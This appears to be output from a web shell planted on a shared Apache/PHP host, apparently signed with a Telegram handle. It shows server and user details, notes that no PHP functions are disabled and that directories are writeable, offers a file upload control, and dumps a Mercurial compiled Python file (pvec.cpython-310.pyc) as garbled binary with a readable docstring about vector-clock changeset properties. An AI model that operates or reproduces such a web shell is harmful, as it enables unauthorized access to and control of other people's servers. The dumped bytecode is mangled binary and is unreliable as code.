https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/mercurial/__pycache__/pvec.cpython-310.pyc
o

�]Lb�@s�dZddlmZddlmZddlmZmZdZedZ	dZ
e
dZe	eZedZ
e
d	d
Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�e�d�D�Zdd�Zdd�Zdd�Zdd�ZGd d!�d!e�Zd"S)#a3
A "pvec" is a changeset property based on the theory of vector clocks
that can be compared to discover relatedness without consulting a
graph. This can be useful for tasks like determining how a
disconnected patch relates to a repository.

Currently a pvec consist of 448 bits, of which 24 are 'depth' and the
remainder are a bit vector. It is represented as a 70-character base85
string.

Construction:

- a root changeset has a depth of 0 and a bit vector based on its hash
- a normal commit has a changeset where depth is increased by one and
  one bit vector bit is flipped based on its hash
- a merge changeset pvec is constructed by copying changes from one pvec into
  the other to balance its depth

Properties:

- for linear changes, difference in depth is always <= hamming distance
- otherwise, changes are probably divergent
- when hamming distance is < 200, we can reliably detect when pvecs are near

Issues:

- hamming distance ceases to work over distances of ~ 200
- detecting divergence is less accurate when the common ancestor is very close
  to either revision or total distance is high
- this could probably be improved by modeling the relation between
  delta and hdist

Uses:

- a patch pvec can be used to locate the nearest available common ancestor for
  resolving conflicts
- ordering of patches can be established without a DAG
- two head pvecs can be compared to determine whether push/pull/merge is needed
  and approximately how many changesets are involved
- can be used to find a heuristic divergence measure between changesets on
  different branches
�)�absolute_import�)�nullrev)�pycompat�utili�����cCs"d}|D]
}|dt|�}q|S)zconvert a bytestring to a longr�)�ord)�bs�v�b�r�0/usr/lib/python3/dist-packages/mercurial/pvec.py�_binDsrcCs2d}t�|�D]}t�|d@�|}|dL}q|S)N��r)r�xrange�bytechr)r�lr
�prrr�_strLs

rcCs t|dt��t|td��fS)zdepth and bitvecN)r�_depthbytes)rrrr�_splitUs rcCst|t�t|t�S�N)rr�	_vecbytes)�depth�bitvecrrr�_joinZsr cCs(d}|r|d@r|d7}|dL}|s|S)Nrrr)�x�crrr�_hweight^s�r#cCsg|]}t|��qSr)r#)�.0r!rrr�
<listcomp>gsr%rcCs0||A}d}|r|t|d@7}|dL}|s|S)z+find the hamming distance between two longsrrr)�_htab)�ar�dr"rrr�_hammingjs�r)cCs�|\}}|\}}||kr||||f\}}}}t||�}||}|}	||A}
d}||kr4||dd}nd}||}
|
rT|rP|
|@rJ|	|N}	|d8}|dK}|s>|
|	fSt|	|�}	|
|	fS)Nrr
)r)�_flipbit)r!�yr"�d1�v1�d2�v2�hdist�ddistr�m�i�changesrrrr�	_mergevects.
�
�r5cCst|�d@t}|d|>AS)Nl��r)�hash�_vecbits)r�node�bitrrrr*�sr*cCs�|��}t�|d�s
i|_|j}|��|vrj|j}t�|��d�D]G}||vri|�|�}|�	|�\}}|t
krGdt|ddt��f||<q"|t
kr]||\}}	|dt
|	|�f||<q"t|||||�||<q"t||���}
tt�|
��S)z3construct a pvec for ctx while filling in the cache�
_pveccacherr�N)�repor�safehasattrr:�rev�	changelogrrr8�
parentrevsrrrr*r5r �pvec�	b85encode)�ctx�r�pvc�cl�nr8�p1�p2r(rr
rrr�ctxpvec�s&
�rJc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)rAcCs8t|t�r||_tt�|��\|_|_dSt|�|_dSr)	�
isinstance�bytes�_bsrr�	b85decode�_depth�_vecrJ)�self�	hashorctxrrr�__init__�s
z
pvec.__init__cCs|jSr)rM)rQrrr�__str__�szpvec.__str__cCs|j|jko|j|jkSr)rPrO�rQrrrr�__eq__�szpvec.__eq__cCs2|j|j}|dkrdSt|j|j�|krdSdS)NrFT)rOr)rP�rQr�deltarrr�__lt__�szpvec.__lt__cCs||kSrrrUrrr�__gt__�szpvec.__gt__cCs*t|j|j�}t|j|j�|krdSdS)NFT)�absrOr)rPrWrrr�__or__�szpvec.__or__cCs||Brtd��|j|jS)Nsconcurrent pvecs)�
ValueErrorrOrUrrr�__sub__�szpvec.__sub__cCs(t|j|j�}t|j|j�}t||�Sr)r[rOr)rP�max)rQrr(�hrrr�distance�s
z
pvec.distancecCs2t|j|j�}|tkst|j|j�tkrdSdS)NF)r[rrO�_radiusr)rP)rQr�distrrr�near�s�z	pvec.nearN)�__name__�
__module__�__qualname__rSrTrVrYrZr\r^rardrrrrrA�srAN)�__doc__�
__future__rr8r�rr�_size�_bytes�
_depthbitsrrr7rbrrrr r#rr&r)r5r*rJ�objectrArrrr�<module>s,+		
&

https://t.me/RX1948 - 2025